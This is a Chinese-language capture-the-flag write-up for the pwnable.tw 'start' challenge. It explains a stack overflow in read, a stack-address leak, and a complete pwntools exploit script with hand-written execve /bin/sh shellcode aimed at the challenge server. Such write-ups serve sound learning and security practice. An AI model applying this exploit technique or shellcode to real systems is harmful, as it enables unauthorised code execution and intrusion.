参考了这篇writeup http://dogewatch.github.io/2017/04/10/pwnable.tw-Part1/
拿到binary拖到ida里看一下,只有两个函数,一个_start,一个_exit。
直接通过 int 80h 进行系统调用
linux syscall的资料在这里
把这段汇编翻译成c
void_start(){
charbuf[20]='Let'sstarttheCTF:';
sys_write(1,buf,20);
sys_read(0,buf,60);
}
void_exit(){
sys_exit();
}
这里有个坑是用peda 的checksec显示NX是开启状态,但实际栈是可执行的
read有溢出,所以大概的思路是先泄露栈地址 然后往栈上写shellcode并执行
栈结构:
/ saved esp /
/ ret addr /
/ /
20 bytes buffer
/ /
发现当第一次ret后,esp正好指向saved esp 此时若跳转到mov ecx,esp处可以泄露
saved esp的值,接下来写shellcode 构造payload就行了 这里需要注意的是在第二次ret前
add esp 14h
因此payload要先填充20byte的字符
而且不知道为什么用pwntools生成的shellcode打过去没效果
利用脚本如下
from pwn import *
context.log_level="debug"
s= remote('chall.pwnable.tw',10000)
addr_1 = p32(0x08048087) # mov ecx, esp
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#0: 31 c9 xor ecx,ecx
#2: f7 e1 mul ecx
#4: 51 push ecx
#5: 68 2f 2f 73 68 push 0x68732f2f
#a: 68 2f 62 69 6e push 0x6e69622f
#f: 89 e3 mov ebx,esp
#11: b0 0b mov al,0xb
#13: cd 80 int 0x80
#shellcode = asm(shellcraft.i386.sh())
def leak():
recv = s.recvuntil(':')
payload = 'a'*20 + addr_1
s.send(payload)
stack_addr = s.recv(4)
print 'stack address is : ' + hex(u32(stack_addr))
return u32(stack_addr)
def pwn(addr):
payload = "a"*20+p32(addr+20) + shellcode
s.send(payload)
addr_2 = leak()
pwn(addr_2)
s.interactive()